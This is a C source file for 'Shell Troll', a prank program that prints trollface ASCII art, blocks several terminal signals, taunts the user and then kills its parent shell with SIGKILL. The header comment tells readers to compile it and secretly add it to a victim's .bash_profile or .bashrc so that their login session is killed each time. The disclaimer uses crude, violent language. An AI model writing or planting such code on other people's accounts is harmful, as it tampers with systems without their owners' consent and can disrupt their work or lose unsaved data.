/************************************************
 * Shell Troll
 *
 * Author: Green Boy
 *
 * Requirements:
 * Any fully POSIX compliant UNIX-based system
 * with at least a partial implementation of the
 * UNIX signal daemon.
 *
 * WHAT THIS DOES:
 * This is a really nasty prank that's a great
 * April Fools gag for sysops the world over.
 * This programme simply loads up, prints the
 * trollface (reddit search "trollface" if you
 * don't know what this is), and blocks all
 * terminal signals, except CTRL-C. After the
 * long sleep has expired, or the user presses
 * CTRL-C, it will then print "U Mad Bro?" below
 * the trollface, further enraging your victim.
 * It then sleeps for the duration of the
 * shortsleep constant, after which it kills the
 * parent process ID (their TMUX session, screen
 * session, login terminal, whatever it is).
 *
 * HOW TO USE SHELL TROLL:
 * Download source code and compile with
 * gcc -o [YOUR_BIN_NAME_HERE] shellTroll.c
 *
 * Replace [YOUR_BIN_NAME_HERE] with what you want
 * to call the compiled programme, and where to
 * stash it. example:
 *
 * gcc -o /usr/local/bin/lol shellTroll.c
 *
 * Then slip the full path to the compiled programme
 * into their .bash_profile or .bashrc. That's it!
 * You're set! Be sure you have a way to reverse
 * what you did (write access to their .bash_profile
 * or whatever)!
 *
 * DISCLAIMER:
 * I am in no way responsible for any reprocussions
 * you might suffer by using this programme on
 * yourself, your colleagues, your friends, or
 * your parents. If they disown you, fire you,
 * defriend you, hate you, want to fuck you up,
 * chase you with a noose or blunt object, kick
 * you into the pavement, and/or inflict torture
 * upon your dead corpse it is completely of your
 * own doing. Furthermore, if by utilising this
 * application you do damage of any kind to your
 * own system, it is YOUR problem and not mine!
 * Finally, I will not support this programme
 * at all. It is provided to you at no cost, but
 * with ABSOLUTELY NO support. I am not to be held
 * responsible under any circumstances!
 *
 * (summary: You're on your fucking own!)
 *
 ***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>
#include <setjmp.h>

#define SHORTSLEEP 3
#define LONGSLEEP 8

void setSigs( void );
void umadbro( int signal );

sigjmp_buf point;

int main( void )
{
    pid_t shellPid;
    int sleeptime = LONGSLEEP;
    shellPid = getppid();

    setSigs();

    printf( "                                                            \n" );
    printf( "                       /$MMMNMMMMMNMMMD+++++\\               \n" );
    printf( "               MMMMMMMN       DNMMI          MM,            \n" );
    printf( "           MM?/                :       M       MM           \n" );
    printf( "        NMN  M                        M  8      MM          \n" );
    printf( "       MM      M    ,M                D  N  ,    MM         \n" );
    printf( "       M             M       =           N N      M         \n" );
    printf( "      NM                       /NMMMMMM:           M        \n" );
    printf( "     MM       MMMMMMO        NM   8MMMMMMN          MM      \n" );
    printf( "   MM  M      MMMMMMMMNM$   MM  NMMM?,$NMM  8       M M+    \n" );
    printf( "   M N N     /       MM       M/    NN      NMMMMMM    7M   \n" );
    printf( "  MMM  :MNMMMM +     MM               NMMMMM8  M   MM   NN  \n" );
    printf( "  MM7     M MMN+    MN                       +MMM   M    M  \n" );
    printf( "   MM M   M       MM           MM$MMN$    NMM  ~MMM M    M  \n" );
    printf( "    N,M  NMM   M  ZMM     MNMM MN     MMMM     M   OM M MN  \n" );
    printf( "    MM   MNMMM       MNM         NMMM    N   NMM     M,NM   \n" );
    printf( "     M   MM M NMMMN      ZMNMMMNZM      MMMM MN      MM     \n" );
    printf( "     MN  MM M  M    :M    M      M MMMMMNM  NM      MM      \n" );
    printf( "     :M  MMMMNMM$    M    M   ,MMMMMMM   M MM      NN       \n" );
    printf( "     ,N  MMMMMMMMMMMMMMMMMMMMMMMN N      NM        M        \n" );
    printf( "     NM  M MMMMMMMMMMMMMMMMM      M    MMM        M         \n" );
    printf( "     M    M:M M  M   M     M       M?MM         NM          \n" );
    printf( "     M     NMNDM 8M  ?M    M    MMMMZ   M  MM MM=           \n" );
    printf( "     M        MMMMMMMMMMMMMMMMMM     N  MM  NM              \n" );
    printf( "     M  M                        N~ ~M   MMN                \n" );
    printf( "     M       :M?            NM  MN    MMN                   \n" );
    printf( "     M     M             8M       8MM/                      \n" );
    printf( "     N                         ?MM                          \n" );
    printf( "      NM                 MMMMMM                             \n" );
    printf( "        NMMMMNMMMMMMMMNZ/                                   \n" );
    printf( "                                                            \n" );

    if ( sigsetjmp( point, 1 ) ) sleeptime = SHORTSLEEP;

    sleep( sleeptime );
    if ( sleeptime != SHORTSLEEP )
    {
        printf( "                        U Mad Bro?\n\n\n" );
        sleep( 2 );
    }
    kill( shellPid, SIGKILL );
}

void setSigs( void )
{
    struct sigaction sa;

    sigfillset( &sa.sa_mask );
    sa.sa_flags = 0;
    sa.sa_handler = SIG_IGN;

    sigaction( SIGQUIT, &sa, NULL );
    sigaction( SIGALRM, &sa, NULL );
    sigaction( SIGTSTP, &sa, NULL );
    sigaction( SIGABRT, &sa, NULL );

    sa.sa_handler = umadbro;
    sigaction( SIGINT, &sa, NULL );
}

void umadbro( int signal )
{
    struct sigaction sa;

    sigfillset( &sa.sa_mask );
    sa.sa_flags = 0;
    sa.sa_handler = SIG_IGN;

    sigaction( SIGQUIT, &sa, NULL );
    sigaction( SIGALRM, &sa, NULL );
    sigaction( SIGTSTP, &sa, NULL );
    sigaction( SIGABRT, &sa, NULL );
    sigaction( SIGINT, &sa, NULL );

    printf( "                        U Mad Bro?\n\n\n" );

    siglongjmp( point, 1 );
}